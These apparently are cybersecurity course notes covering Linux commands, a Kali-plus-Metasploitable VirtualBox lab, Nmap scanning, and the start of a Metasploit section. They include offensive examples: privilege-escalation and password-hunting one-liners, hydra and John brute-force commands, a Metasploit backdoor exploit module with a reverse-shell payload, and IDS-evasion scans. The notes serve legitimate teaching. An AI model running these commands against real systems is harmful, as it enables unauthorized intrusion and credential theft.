This section covers essential Linux command-line knowledge. The course references linuxcommand.org as the core resource. The following covers all major areas: navigation, file operations, permissions, processes, networking, text processing, and shell scripting concepts.

5.1 Shell Basics

Term	Explanation
Shell	A program that interprets and executes your typed commands. Common shells: bash (most common on Linux), zsh (default on macOS), sh (POSIX shell).
Terminal / Terminal Emulator	The application window where you type commands (e.g., GNOME Terminal, xterm, Konsole).
Prompt	The text before your cursor. Usually shows user@hostname:directory\$. \$ = normal user, # = root.
Command syntax	command [options] [arguments]. Options modify behavior; arguments are what the command acts on.
stdin / stdout / stderr	Standard input (keyboard), standard output (screen), and standard error. Can be redirected.

5.2 Navigation Commands

Command	Description + Example
---------	-----------------------

pwd	Print Working Directory — shows your current location. Example: <code>pwd → /home/kali</code>
ls	List directory contents. <code>ls -l</code> (long format), <code>ls -a</code> (show hidden files), <code>ls -la</code> (both), <code>ls -lh</code> (human-readable sizes)
cd	Change Directory. <code>cd /etc</code> (absolute path), <code>cd Documents</code> (relative), <code>cd ..</code> (go up), <code>cd ~</code> (home dir), <code>cd -</code> (previous dir)
find	Search for files. <code>find / -name "*.txt"</code> — find all .txt files from root <code>find /home -type f -name "secret*"</code>
locate	Fast file search using a pre-built database. <code>locate passwd</code> — first run: <code>sudo updatedb</code>
which	Show full path of a command. <code>which python3 → /usr/bin/python3</code>
whereis	Show location of binary, source, and man page. <code>whereis nmap</code>
tree	Display directory structure as a tree. <code>tree /etc</code> (may need to install)

5.3 File and Directory Operations

Command	Description + Example
touch	Create an empty file or update timestamp. <code>touch newfile.txt</code>
mkdir	Make a directory. <code>mkdir mydir</code> — <code>mkdir -p parent/child/grandchild</code> (create nested)
cp	Copy files or directories. <code>cp file.txt /tmp/</code> — <code>cp -r mydir/ /backup/</code> (recursive for dirs)
mv	Move or rename files/dirs. <code>mv old.txt new.txt</code> (rename) — <code>mv file.txt /tmp/</code> (move)
rm	Remove files. <code>rm file.txt</code> — <code>rm -r mydir</code> (recursive) — <code>rm -rf mydir</code> (force, no prompt). DANGEROUS with <code>-rf</code>
rmdir	Remove empty directory only. <code>rmdir emptydir</code>
cat	Display file contents. <code>cat /etc/passwd</code>
less	View file one page at a time (scroll with space/b, quit with q). <code>less /var/log/syslog</code>
more	Like less but older and less feature-rich.
head	Show first N lines (default 10). <code>head -20 /etc/passwd</code>
tail	Show last N lines. <code>tail -20 /var/log/auth.log</code> — <code>tail -f file.log</code> (follow live)
file	Determine file type. <code>file mystery.bin</code>
stat	Show detailed file metadata (permissions, timestamps, inode). <code>stat /etc/hosts</code>

ln	Create links. ln file hardlink — ln -s /etc/hosts hostslink (symbolic link)
wc	Word/line/character count. wc -l /etc/passwd (count lines) — wc -w file.txt (words)
diff	Show differences between two files. diff file1.txt file2.txt

5.4 File Permissions

Understanding permissions is critical for cybersecurity. Every file has permissions for three categories: owner (u), group (g), and others (o).

Permission Notation

Symbol/Number	Meaning
r (4)	Read — view file contents; list directory
w (2)	Write — modify file; create/delete files in directory
x (1)	Execute — run file as program; enter directory (cd)
- (0)	No permission
Example: -rwxr-xr--	File: owner=rwx, group=r-x, others=r--. In octal: 754
Example: drwxr-xr-x	Directory (d). Owner=rwx, group=r-x, others=r-x. Octal: 755

Changing Permissions — chmod

```
chmod 755 script.sh      # octal: rwxr-xr-x
chmod 644 file.txt       # octal: rw-r--r--
chmod +x script.sh       # add execute for everyone
chmod u+w file.txt       # add write for owner
chmod o-r secret.txt     # remove read from others
chmod -R 755 /var/www/   # recursive
```

Changing Ownership — chown / chgrp

```
chown user file.txt      # change owner
chown user:group file.txt # change owner and group
chown -R www-data /var/www/ # recursive
chgrp developers project/ # change group only
```

Special Permissions

Permission	Description
------------	-------------

SUID (Set User ID) — 4xxx	When a file is executed, it runs with the owner's permissions (not the caller's). Example: /usr/bin/passwd runs as root even when called by a normal user. Find: find / -perm -4000 2>/dev/null
SGID (Set Group ID) — 2xxx	Runs with the group's permissions; for directories, new files inherit the directory's group.
Sticky bit — 1xxx	On directories: users can only delete their own files even if they have write permission on the directory. Used on /tmp.

5.5 Users and Groups

Command	Description
whoami	Print current username.
id	Show UID, GID, and group memberships. Critical for privilege escalation checks.
who / w	Show who is logged in and what they are doing.
last	Show login history.
su username	Switch user. su root (switch to root). su - root (switch with root's environment).
sudo command	Run command as root (if permitted by /etc/sudoers).
sudo -l	List sudo privileges for current user — important for privilege escalation.
passwd	Change password.
adduser username	Add a new user.
usermod -aG group user	Add user to a group (a = append, G = supplementary groups).
groups	Show group memberships.
/etc/passwd	User account info (username, UID, GID, home dir, shell). World-readable.
/etc/shadow	Hashed passwords — only readable by root. Target for password attacks.
/etc/group	Group definitions.
/etc/sudoers	Sudo rules. Edit safely with visudo.

5.6 Process Management

Command	Description
ps	List running processes. ps aux — all processes, full detail. ps -ef — all processes, different format.

top	Real-time process monitor. Press q to quit, k to kill a process.
htop	Enhanced top (install separately). More visual.
kill PID	Send a signal to a process. kill -9 PID forces immediate termination.
killall name	Kill all processes by name. killall firefox
pgrep name	Find PID(s) by name. pgrep ssh
pkill name	Kill process by name. pkill python
bg / fg	Background/foreground a job. bg %1 — send job 1 to background. fg %1 — bring to foreground.
jobs	List current shell's background jobs.
& (ampersand)	Run command in background. python3 server.py &
nohup	Run command immune to hangups (keeps running after logout). nohup ./longscript.sh &
nice / renice	Set/change process priority (-20 = highest, 19 = lowest).
lsof	List open files. lsof -i :80 (show what's using port 80). Critical for security.
netstat -tulnp	Show listening ports and associated PIDs. Alt: ss -tulnp (modern replacement).

5.7 Networking Commands

Command	Description
ifconfig	Show/configure network interfaces (older). ifconfig eth0 — show eth0 details. Look for inet (IPv4) and inet6 (IPv6).
ip addr	Modern replacement for ifconfig. ip addr show — list all interfaces.
ip route	Show routing table. ip route show.
ping host	Test reachability. ping 192.168.1.1 — ping google.com
traceroute host	Trace network path to host. May need: sudo traceroute host
nmap	Network scanner — discover hosts, ports, services, OS. (Covered in detail in Kali section)
netcat (nc)	The 'Swiss Army knife' of networking. Connect to ports, listen, transfer files, create shells.
ssh user@host	Secure Shell — remote login. ssh kali@192.168.56.101 — ssh -p 2222 user@host
scp source dest	Secure copy over SSH. scp file.txt user@host:/tmp/
wget URL	Download file from URL.

curl URL	Transfer data from/to URL. More flexible than wget. curl -I http://site.com (headers only).
host domain	DNS lookup. host google.com
nslookup domain	DNS lookup (interactive or one-shot). nslookup google.com
dig domain	Detailed DNS query. dig google.com A — A records. dig google.com MX — mail servers.
arp -a	Show ARP cache — IP-to-MAC mappings on local network.
route	Show/modify routing table. Also: ip route
ss -tulnp	Modern socket statistics — show listening services with PID.

5.8 Text Processing

Command	Description
grep pattern file	Search for pattern in file. grep 'root' /etc/passwd grep -r 'password' /var/www/ (recursive) grep -i 'error' log.txt (case-insensitive) grep -v 'comment' file (invert — exclude matches) grep -n pattern file (show line numbers)
grep with regex	grep -E (extended regex). grep -E '^root ^admin' /etc/passwd
sed	Stream editor — search and replace in text. sed 's/old/new/g' file.txt (replace all occurrences) sed -i 's/old/new/g' file.txt (in-place edit)
awk	Pattern-based text processing. awk '{print \$1}' file.txt (print first column) awk -F: '{print \$1, \$3}' /etc/passwd (use : as separator — print user and UID)
cut	Cut sections from each line. cut -d: -f1 /etc/passwd (delimiter :, field 1 — usernames) cut -c1-10 file.txt (characters 1-10)
sort	Sort lines. sort -n (numeric), sort -r (reverse), sort -u (unique).
uniq	Remove duplicate adjacent lines. Usually used after sort: sort file uniq -c (count occurrences)
tr	Translate or delete characters. echo 'Hello' tr 'a-z' 'A-Z' (lowercase to uppercase)
tee	Read from stdin, write to stdout AND a file simultaneously. command tee output.txt

5.9 Redirection and Pipes

Operator	Description
command > file	Redirect stdout to file (overwrite).
command >> file	Redirect stdout to file (append).

command 2> file	Redirect stderr to file.
command 2>&1	Redirect stderr to same destination as stdout.
command > file 2>&1	Redirect both stdout and stderr to file.
command < file	Use file as stdin.
cmd1 cmd2	Pipe: send stdout of cmd1 to stdin of cmd2. <code>ls -la grep .txt sort</code>
command &> file	Shorthand to redirect both stdout and stderr.
/dev/null	The black hole — discard output. <code>command 2>/dev/null</code> (suppress errors)

5.10 Package Management

Debian/Ubuntu (APT) — Used on Kali Linux

Command	Description
sudo apt update	Update package list from repositories.
sudo apt upgrade	Upgrade all installed packages.
sudo apt install pkg	Install a package. <code>sudo apt install nmap</code>
sudo apt remove pkg	Remove a package (keep config).
sudo apt purge pkg	Remove package AND config files.
sudo apt search keyword	Search for packages by keyword.
sudo apt show pkg	Show details about a package.
dpkg -l	List all installed packages.
dpkg -i package.deb	Install a local .deb file.

5.11 Archiving and Compression

Command	Description
tar -czf archive.tar.gz dir/	Create a compressed (.gz) tar archive.
tar -xzf archive.tar.gz	Extract a .tar.gz archive.
tar -czf archive.tar.bz2 dir/	Create bzip2-compressed archive.
tar -xjf archive.tar.bz2	Extract a .tar.bz2 archive.
tar -tf archive.tar.gz	List contents without extracting.

gzip file	Compress a single file. Creates file.gz
gunzip file.gz	Decompress .gz file.
zip archive.zip files	Create a zip archive.
unzip archive.zip	Extract a zip archive.

5.12 Environment and Shell Variables

Command/Variable	Description
echo \$VARIABLE	Print the value of a variable. echo \$HOME, echo \$PATH
export VAR=value	Set environment variable (available to child processes).
env	Print all environment variables.
PATH	Colon-separated list of directories the shell searches for commands.
HOME	Home directory of the current user.
USER / LOGNAME	Current username.
SHELL	Path to current shell.
HISTFILE / HISTSIZE	History file location and max commands stored.
history	Show command history. history tail -20
!n	Re-run command number n from history.
!! (bang-bang)	Re-run last command. sudo !! (re-run last command with sudo)
alias	Create a shortcut. alias ll='ls -la'

5.13 Key Files for Security / Penetration Testing

File / Path	Contents / Use
/etc/passwd	User accounts. Format: user:x:UID:GID:comment:home:shell. Readable by all.
/etc/shadow	Hashed passwords. Only root can read. Target for hash extraction.
/etc/group	Group definitions and memberships.
/etc/sudoers	sudo permissions. Read via: sudo cat /etc/sudoers
/etc/hosts	Static hostname-to-IP mappings.
/etc/resolv.conf	DNS server configuration.
/etc/network/interfaces	Network interface configuration (Debian/Ubuntu).

/etc/crontab	System-wide cron jobs (potential persistence/privesc target).
/var/log/auth.log	Authentication logs — login attempts, sudo usage, SSH.
/var/log/syslog	General system log.
/var/log/apache2/access.log	Apache web server access log.
/proc/version	Kernel version — useful for kernel exploit identification.
/proc/net/tcp	Active TCP connections (raw). More readable with ss or netstat.
~/.bash_history	User's command history — may contain passwords, interesting commands.
~/.ssh/	SSH keys. id_rsa = private key (very sensitive), authorized_keys = allowed public keys.
/tmp and /var/tmp	World-writable directories — often used to drop exploits or payloads.

5.14 Useful One-Liners for Security

```

find / -perm -4000 2>/dev/null          # Find SUID binaries (privesc
finding)
find / -writable -type f 2>/dev/null    # Find world-writable files
cat /etc/passwd | cut -d: -f1           # List all usernames
netstat -tulnp                          # All listening ports with PIDs
ps aux | grep root                      # Processes running as root
sudo -l                                 # Check sudo permissions
id && whoami && uname -a                  # Quick system info dump
cat ~/.bash_history                     # Read command history
ls -la /home/                           # List all home directories
grep -r 'password' /var/www/ 2>/dev/null # Hunt for passwords in web files

```

SECTION 6: KALI LINUX INSIDE VIRTUALBOX

SECTION SUMMARY

- Kali Linux is a Debian-based, rolling-release distro from Offensive Security, pre-loaded with hundreds of security tools (Metasploit, nmap, Wireshark, Burp Suite, Hydra, etc.).
- Run it as a VM for isolation, snapshot support, and easy interaction with other VMs (Metasploitable targets).
- VM settings: Type=Linux, Version=Debian 64-bit, RAM=2048 MB+, 2 CPUs, 80 GB VDI dynamically allocated, Video=128 MB, 3D Acceleration=DISABLED.
- Enable Shared Clipboard and Drag'n'Drop (both Bidirectional) for comfort. Boot Order: Hard Disk first.
- On first boot, point VirtualBox to the Kali .iso; the installer auto-detects the VM and installs VirtualBox guest tools.
- For a lab: Adapter 1 = NAT (internet/updates), Adapter 2 = Host-Only (same subnet as Metasploitable targets).
- To expand disk later: power off > Virtual Media Manager > resize VDI > boot Kali > use GParted to extend partition.
- Metasploit quick workflow: msfconsole > search <term> > use <module> > set RHOST <ip> > run.
- Key Kali tools: nmap (scanning), Metasploit (exploitation), Wireshark (packet capture), Burp Suite (web), John/Hashcat (password cracking), searchsploit (offline exploit search).

This section covers everything from the Kali Linux VirtualBox guide provided in the course. Kali Linux is the primary attacker/penetration testing distribution. Running it inside VirtualBox isolates it from your host, allows interaction with other VMs (like Metasploitable), and lets you take snapshots.

6.1 What is Kali Linux?

Property	Value
Type	Debian-based Linux distribution purpose-built for penetration testing and security research.
Maintained by	Offensive Security.
Release model	Rolling distribution — continuously updated. No fixed versions; always has latest tools.
Version naming	kali-linux-YYYY.N-platform-ARCH. Example: kali-linux-2026.1-vbox-amd64
Key tools included	Metasploit Framework, nmap, Wireshark, Burp Suite, aircrack-ng, John the Ripper, Hashcat, sqlmap, and hundreds more.
Why use in a VM	Isolated from host, can revert snapshots, can communicate with other VMs in lab setups.

6.2 Creating Kali Linux VM in VirtualBox — Step by Step

Step 1: Open VirtualBox and Click New

In the VirtualBox Manager, click Machine > New (or the New button in the toolbar).

Step 2: Name and Operating System

Setting	Value
Name	Kali Linux (or kali-linux-YYYY.N-vbox-ARCH for versioned setups)
Type	Linux
Version	Debian (64-bit)

Step 3: Memory Size (RAM)

Recommended: 2048 MB (2 GB) for general use. Increase to 4 GB or more if your host machine has RAM to spare, as Kali's security tools can be resource-intensive.

Step 4: Hard Disk

Select: Create a virtual hard disk now.

Step 5: Hard Disk File Type

Select: VDI (VirtualBox Disk Image) — the default and recommended option.

Step 6: Storage on Physical Hard Disk

Option	Description
Dynamically allocated (recommended)	The VDI file grows as data is written. Saves real disk space but may be slightly slower.
Fixed size	Allocates the full size immediately. Faster performance but uses all disk space from the start.

Step 7: File Location and Size

Recommended disk size: 80 GB. This gives plenty of room for Kali's tools, downloaded exploits, and captured data. Click Create.

6.3 Configuring the VM Settings

After creating the VM, click Settings to configure it further. These settings optimize Kali for use in VirtualBox:

General > Advanced Tab

Setting	Value
Shared Clipboard	Bidirectional — lets you copy/paste between host and Kali VM.
Drag'n'Drop	Bidirectional — allows dragging files between host and VM.

System > Motherboard Tab

Setting	Value
Boot Order	Hard Disk first, Optical second. Disable Floppy and Network.
Base Memory	2048 MB minimum (set in Step 3 above).
Chipset	PIIX3 (default).
Enable I/O APIC	Checked — required for multi-processor support.

System > Processor Tab

Setting	Value
Processors	Set to 2 (CPUs). Gives better performance for multi-threaded tools.
Enable PAE/NX	Checked — required for some 32-bit guest kernels; also enables NX bit (hardware-based execution protection).

Display > Screen Tab

Setting	Value
Video Memory	128 MB — maximum, gives best display performance.
Graphics Controller	VMSVGA (default).
Enable 3D Acceleration	DISABLED — causes issues with Kali in VirtualBox. Leave this unchecked.

Network Settings (important for lab setup)

Scenario	Recommended Network Mode
Kali accessing internet only	NAT
Kali attacking Metasploitable (isolated)	Host-Only or Internal Network (same network as target)
Kali with internet AND lab access	Adapter 1: NAT, Adapter 2: Host-Only

Kali visible on real LAN

Bridged

6.4 Installing Kali (First Boot)

- Press Start. On first boot, VirtualBox prompts for a start-up disk.
- In the 'Select start-up disk' dialog, click the folder icon next to the dropdown.
- In the Optical Disk Selector, click Add.
- Navigate to your downloaded Kali Linux .iso file (e.g., kali-linux-2026.1-installer-amd64.iso, 3.69 GB).
- Select it and press Choose.
- Click Start to boot from the ISO.
- Follow the Kali Linux install wizard — select language, timezone, disk partitioning, set username and password.
- The installer detects it is inside a VM and automatically installs VirtualBox guest tools (virtualbox-guest-x11) for better display and integration.

VirtualBox Guest Additions / Guest Tools

When Kali's installer detects it is running inside VirtualBox, it automatically installs virtualbox-guest-x11. This provides: proper screen resolution scaling, clipboard sharing, drag-and-drop, and folder sharing. If you need to manually reinstall: `sudo apt install virtualbox-guest-x11`

6.5 Expanding Storage (After Installation)

If you later need more disk space, VirtualBox 7.0 provides a way to expand the virtual disk:

- Power off the Kali VM completely.
- In VirtualBox Manager, go to File > Tools > Virtual Media Manager.
- Find your Kali .vdi file in the list, click on it.
- Drag the Size slider to your new desired size (e.g., 190 GB), then click Apply.
- Boot Kali Linux and use GParted (`sudo apt install gparted`) to extend the partition to use the new space.

```
sudo apt install gparted
sudo gparted
```

In GParted: right-click the main partition > Resize/Move > drag to fill unallocated space > Apply.

6.6 Key Kali Linux Tools (Exam Quick Reference)

Tool	Purpose
------	---------

Metasploit Framework (msfconsole)	The primary exploitation framework. Modules for exploits, payloads, post-exploitation, and auxiliary.
nmap	Network and port scanner. Discover hosts, open ports, services, OS.
Wireshark	GUI packet capture and analysis. Inspect network traffic in detail.
tcpdump	Command-line packet capture. <code>tcpdump -i eth0 -w capture.pcap</code>
Burp Suite	Web application security testing proxy — intercept, replay, modify HTTP requests.
nikto	Web server vulnerability scanner. <code>nikto -h http://target.com</code>
dirb / gobuster	Web directory and file brute-forcing tools.
John the Ripper	Password cracker. <code>john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</code>
Hashcat	GPU-accelerated password cracker.
hydra	Network login brute-forcer. <code>hydra -l admin -P passwords.txt ssh://target</code>
sqlmap	Automated SQL injection detection and exploitation.
netcat (nc)	Port listener, port scanner, file transfer, reverse shells.
aircrack-ng	Wireless network security auditing.
searchsploit	Search exploit-db offline for relevant exploits. <code>searchsploit vsftpd</code>
Maltego	OSINT and information gathering tool.

6.7 Metasploit Framework on Kali — Quick Reference

Starting Metasploit

```
|msfconsole
```

Core Metasploit Commands

Command	Description
search <term>	Search for modules. <code>search vsftpd — search eternalblue</code>
use <module>	Select a module. <code>use exploit/unix/ftp/vsftpd_234_backdoor</code>
show options	Display required/optional settings for the selected module.
set RHOST <ip>	Set the target IP address.
set LHOST <ip>	Set the local (attacker) IP address — for reverse connections.
set RPORT <port>	Set target port.

set LPORT <port>	Set local listening port.
show payloads	List compatible payloads for the selected exploit.
set PAYLOAD <payload>	Choose a payload. set PAYLOAD linux/x86/shell_reverse_tcp
run / exploit	Execute the exploit.
back	Go back to the msfconsole prompt without exiting.
sessions	List active sessions (shells). sessions -l
sessions -i <n>	Interact with session n.
background	Send current session to background.
info <module>	Show detailed info about a module.
db_nmap <options> <target>	Run nmap and save results to Metasploit database.
hosts	View hosts discovered via db_nmap.
services	View services discovered via db_nmap.
exit	Quit msfconsole.

6.8 Complete Lab Setup: Kali + Metasploitable

This is the recommended network setup for a complete pen-test lab:

VM	Network Adapter Setting
Kali Linux (attacker)	Adapter 1: NAT (for internet/updates); Adapter 2: Host-Only (for lab network)
Metasploitable 2 (target)	Adapter 1: Host-Only (same host-only network as Kali Adapter 2)
Metasploitable 3 (target)	Configured via Vagrant Vagrantfile — use private_network with static IP

With this setup, Kali can reach the internet AND reach the Metasploitable targets on the host-only network, while the Metasploitable VMs have NO internet access (safe).

Finding IP Addresses in the Lab

Kali: ip addr show or ifconfig. Metasploitable 2: ifconfig (after logging in as msfadmin). Metasploitable 3 Ubuntu: ifconfig. Metasploitable 3 Windows: ipconfig. Alternatively, from Kali run: nmap -sn 192.168.56.0/24 to discover all hosts on the host-only subnet.

SECTION 7: NMAP — NETWORK MAPPER

SECTION SUMMARY

- Nmap (Network Mapper) is a free, open-source tool for network discovery and security auditing — the single most used recon tool in cybersecurity.
- Core uses: discover live hosts, identify open ports, detect running services and versions, fingerprint the OS, and run scripted vulnerability checks.
- Scan types: -sn (ping/host discovery, no ports), -sS (SYN/stealth scan — default, fast, less logged), -sT (full TCP connect), -sU (UDP), -sV (version detection), -O (OS detection).
- Output control: -oN (normal text), -oX (XML), -oG (grepable), -oA (all three at once).
- Nmap Scripting Engine (NSE): -sC runs default scripts; --script=<name> runs specific checks (vuln, brute, discovery, exploit categories).
- Timing templates -T0 to -T5 control speed vs. stealth. -T4 is standard for lab use; -T1/-T2 for evading IDS.
- In Metasploit: db_nmap saves results to the database for use with hosts and services commands.
- Always get authorization before scanning — scanning without permission is illegal in most jurisdictions.

Nmap (Network Mapper) is an open-source command-line tool created by Gordon Lyon (Fyodor) and first released in 1997. It is the industry-standard tool for network discovery and security auditing, used by both defenders (to understand their own exposure) and attackers/pen-testers (to map targets before exploitation).

7.1 What is Nmap Used For?

Use Case	Description
Host Discovery	Determine which IP addresses on a network are live and responding. Essential first step in recon.
Port Scanning	Identify which TCP/UDP ports are open on a target. Open ports = potential attack surface.
Service Detection	Identify what service (and version) is running on each open port. e.g., Apache 2.4.49 on port 80.
OS Fingerprinting	Guess the target's operating system and version based on how it responds to probes.
Vulnerability Scanning	Using NSE scripts, check for known vulnerabilities (e.g., MS17-010, Heartbleed, default credentials).
Network Inventory	Map all devices on a network — IP, hostname, MAC, OS, services. Used by sysadmins and auditors.
Firewall/IDS Testing	Probe how a firewall or intrusion detection system responds to different packet types.

Script-based Auditing

Run Nmap Scripting Engine (NSE) scripts for brute-forcing, exploitation hints, banner grabbing, and more.

Nmap in the Pen-Test Lifecycle

Nmap sits in the Reconnaissance and Scanning phases. Typical flow: (1) ping scan to find live hosts, (2) port scan to find open ports, (3) version scan to identify software, (4) OS detection, (5) NSE scripts to check for specific vulnerabilities. Results feed directly into Metasploit (db_nmap).

7.2 Basic Nmap Syntax

General form:

```
nmap [scan type] [options] [target]
```

Target can be: a single IP (192.168.1.1), a range (192.168.1.1-50), a subnet (192.168.1.0/24), or a hostname (metasploitable.local).

7.3 Host Discovery (Finding Live Hosts)

Command	Description
nmap -sn 192.168.56.0/24	Ping scan — find all live hosts on the subnet WITHOUT scanning ports. Fast, low noise.
nmap -sn 10.0.0.1-254	Ping scan over an IP range.
nmap -Pn 192.168.56.101	Skip host discovery — assume host is up. Use when ICMP is blocked by firewall.
nmap -PS 192.168.56.101	TCP SYN ping — send SYN to port 80 to check if host is up.
nmap -PA 192.168.56.101	TCP ACK ping — useful for bypassing some firewalls.
nmap -PU 192.168.56.101	UDP ping.
nmap -PE 192.168.56.101	ICMP echo ping (standard ping).

When to use -Pn

Some hosts (especially Windows machines or firewalled targets) block ICMP pings, making them appear down to a normal ping scan. Use -Pn to force Nmap to scan even if the host doesn't respond to pings. Very common in real environments and on Metasploitable 3 Windows.

7.4 Port Scan Types

Flag	Scan Type
-sS	SYN Scan (Stealth)
-sT	TCP Connect Scan
-sU	UDP Scan
-sA	ACK Scan
-sN	TCP Null Scan
-sF	FIN Scan
-sX	Xmas Scan
-sV	Version Detection
-O	OS Detection
-A	Aggressive Scan

7.5 Port Specification

Option	Description
-p 22	Scan only port 22.
-p 22,80,443	Scan specific ports.
-p 1-1000	Scan ports 1 through 1000.
-p-	Scan ALL 65535 ports. Thorough but slow.
-p U:53,T:80	Scan UDP port 53 and TCP port 80.
--top-ports 100	Scan the 100 most commonly open ports (from Nmap's built-in frequency data).
--top-ports 1000	Scan the top 1000 ports — default when no -p is specified.
-F	Fast mode — scans only the top 100 ports.

7.6 Version and OS Detection

```
nmap -sV 192.168.56.101
```

Probes open ports to determine service name, protocol, and version. Example output: 22/tcp open ssh
OpenSSH 4.7p1 Debian 8ubuntu1.

```
nmap -O 192.168.56.101
```

Attempts OS fingerprinting. Output includes OS guess with confidence percentage. Requires root/admin privileges.

```
nmap -sV --version-intensity 9 192.168.56.101
```

Increase version detection aggressiveness (0-9). Higher = more probes = more accurate but slower and noisier.

7.7 Nmap Scripting Engine (NSE)

NSE is one of Nmap's most powerful features. Scripts are written in Lua and extend Nmap's capabilities far beyond simple port scanning.

Script Categories

Category	Purpose
auth	Test authentication — check for default/blank credentials.
brute	Brute-force login attacks against various services (SSH, FTP, HTTP, SMB, etc.).
default (-sC)	A safe set of scripts run automatically with -A or -sC. Includes banner grabbing, basic info.
discovery	Gather more information about hosts and services (DNS, SNMP, SMB shares, etc.).
exploit	Attempt to exploit known vulnerabilities. USE CAREFULLY — can crash services.
fuzzer	Send unexpected/malformed data to find crashes and vulnerabilities.
intrusive	Aggressive scripts that may crash targets or generate lots of traffic.
malware	Detect malware backdoors and infections.
safe	Non-intrusive scripts safe to run against any target.
version	Enhance version detection beyond what -sV provides.
vuln	Check for known vulnerabilities and CVEs. Very useful for pen-testing.

Using NSE Scripts

```
nmap -sC 192.168.56.101 # Run default scripts
nmap --script=vuln 192.168.56.101 # Run all vuln category
scripts
nmap --script=smb-vuln-ms17-010 192.168.56.101 # Check for EternalBlue
(MS17-010)
nmap --script=ftp-anon 192.168.56.101 # Check for anonymous FTP
login
nmap --script=http-title 192.168.56.101 # Get HTTP page titles
nmap --script=ssh-brute 192.168.56.101 # Brute-force SSH
nmap --script=smb-enum-shares 192.168.56.101 # List SMB shares
nmap --script=banner 192.168.56.101 # Grab service banners
```



```
nmap --script=http-vuln-cve2017-5638 192.168.56.101 # Apache Struts RCE
```

Find available scripts:

```
ls /usr/share/nmap/scripts/ | grep smb  
nmap --script-help smb-vuln-ms17-010
```

7.8 Timing and Performance

Nmap has 6 timing templates (-T0 to -T5) that control the speed and stealth of scans:

Template	Name & Use Case
-T0	Paranoid — extremely slow, one probe every 5 minutes. Maximum IDS evasion.
-T1	Sneaky — very slow. Good for evading IDS in real engagements.
-T2	Polite — slower than default, reduces bandwidth use. Avoids overloading targets.
-T3	Normal — default timing. Balanced speed and reliability.
-T4	Aggressive — faster. Assumes a reliable, fast network. Good for lab use (e.g., scanning Metasploitable).
-T5	Insane — maximum speed. May miss ports on slow networks or overload the target.

Additional performance options:

```
nmap --min-rate 1000 192.168.56.0/24 # Send at least 1000 packets/sec  
nmap --max-retries 1 192.168.56.101 # Reduce retries for speed  
nmap --host-timeout 30s 192.168.56.0/24 # Skip hosts that take over 30s
```

7.9 Output Formats

Flag	Format
-oN file.txt	Normal output — human-readable text, same as screen output.
-oX file.xml	XML output — machine-readable, importable into Metasploit and other tools.
-oG file.gnmap	Grepable output — easy to parse with grep/awk.
-oA basename	All three formats at once. Creates basename.nmap, basename.xml, basename.gnmap.
-v	Verbose — show more detail during scan (open ports as discovered).
-vv	Very verbose.

-d	Debug output.
--open	Only show open ports (filter out closed/filtered).
--reason	Show why Nmap classified each port as open/closed/filtered.

7.10 Nmap with Metasploit (db_nmap)

When Metasploit's PostgreSQL database is running, Nmap results can be saved directly into it using `db_nmap` inside `msfconsole`. This populates the `hosts` and `services` tables for further exploitation.

```
msfconsole
db_nmap -sV -O 192.168.56.101
hosts                                # View discovered hosts
services                             # View discovered services
services -p 21                       # Filter services on port 21
vulns                                # View recorded vulnerabilities
```

db_nmap vs plain nmap

`db_nmap` is identical to `nmap` but automatically stores results in Metasploit's database. This lets you then search for relevant exploits based on the services found, without manually setting `RHOST` for each target. Essential for organized penetration testing.

7.11 Common Nmap Recipes (Ready-to-Use Commands)

Recon on a Single Target (Metasploitable)

```
nmap -sV -O -sC 192.168.56.101      # Service+OS+default
scripts                             # scripts
nmap -A -T4 192.168.56.101         # Aggressive all-in-
one                                 one
nmap -p- -sV -T4 192.168.56.101    # All ports +
versions                            versions
nmap -sU --top-ports 20 192.168.56.101 # Top 20 UDP ports
```

Network-Wide Discovery

```
nmap -sn 192.168.56.0/24            # Find all live hosts
(no ports)
nmap -sn 192.168.56.0/24 --open      # Only show
responding hosts
nmap -sV --top-ports 100 192.168.56.0/24 # Quick service scan
on subnet
```

Vulnerability and Script Scanning

```
nmap --script=vuln -sV 192.168.56.101 # Full vuln scan
```

```
nmap --script=smb-vuln-ms17-010 -p 445 192.168.56.101 # EternalBlue check
nmap --script=ftp-anon,ftp-bounce -p 21 192.168.56.101 # FTP checks
nmap --script=http-enum -p 80,443 192.168.56.101 # Enumerate web dirs
nmap -sV --script=banner 192.168.56.101 # Grab all banners
```

Stealth and Evasion

```
nmap -sS -T2 -Pn 192.168.56.101 # Slow SYN scan, skip
ping
nmap -sF 192.168.56.101 # FIN scan (IDS
evasion)
nmap -D RND:10 192.168.56.101 # Decoy scan (fake
source IPs)
nmap --spoof-mac 0 # Randomize source
MAC address
```

Saving Results

```
nmap -A -T4 192.168.56.101 -oA scan_results # Save all formats
nmap -sV 192.168.56.0/24 -oX subnet_scan.xml # XML for import
into tools
```

7.12 Understanding Nmap Port States

State	Meaning
open	A service is actively accepting connections on this port. Primary target for exploitation.
closed	Port is accessible but no service is listening. Host is up; useful for OS fingerprinting.
filtered	Nmap cannot determine if port is open — a firewall, filter, or ACL is blocking probes. No response received.
unfiltered	Port is accessible but Nmap cannot determine open/closed. Only reported in ACK scans.
open filtered	Nmap cannot tell if open or filtered (common with UDP and stealthy scans).
closed filtered	Cannot determine if closed or filtered. Only in IP ID idle scans.

7.13 Nmap vs Netdiscover vs Other Tools

Tool	Best For
nmap	Everything — host discovery, port scanning, version detection, OS, scripted vuln checks. The standard.

netdiscover	Fast ARP-based host discovery on local subnet. Quicker than nmap -sn for LAN recon.
masscan	Extremely fast port scanner — scans the entire internet in under 6 minutes. Less detailed than nmap.
unicornscan	High-performance async scanner. Less commonly used.
Zenmap	Official GUI front-end for nmap. Good for beginners or visualizing network topology.
Metasploit db_nmap	Nmap integrated into Metasploit — stores results directly for exploitation workflow.

Legal Warning — Always Get Authorization

Nmap scanning without permission is illegal in most countries under computer crime laws (e.g., the Computer Fraud and Abuse Act in the US). In a lab environment, only scan VMs you own or have explicit permission to test (Metasploitable 2/3, DVWA, etc.). Never scan external IPs without written authorization.

SECTION 8: METASPLOIT — CHAPTERS 13 & 14

SECTION SUMMARY

- Metasploit is a framework for delivering exploits to targets — the most popular tool for both pen-testers and hackers. Created in 2003 by H.D. Moore; acquired by Rapid7 in 2009; rewritten in Ruby in 2007.
- Four core object types: Exploits (attack a specific vulnerability), Payloads (code that runs on the target), Auxiliary (extra functions like scanning), Encoders (embed payloads into files like PDF/AVI).
- Start Metasploit: `service postgresql start → msfdb init → msfconsole`. Check DB with `db_status`.
- Core workflow: `search → use → show options → set RHOST/LHOST/payload → run/exploit → sessions -l → sessions -i <n>`.
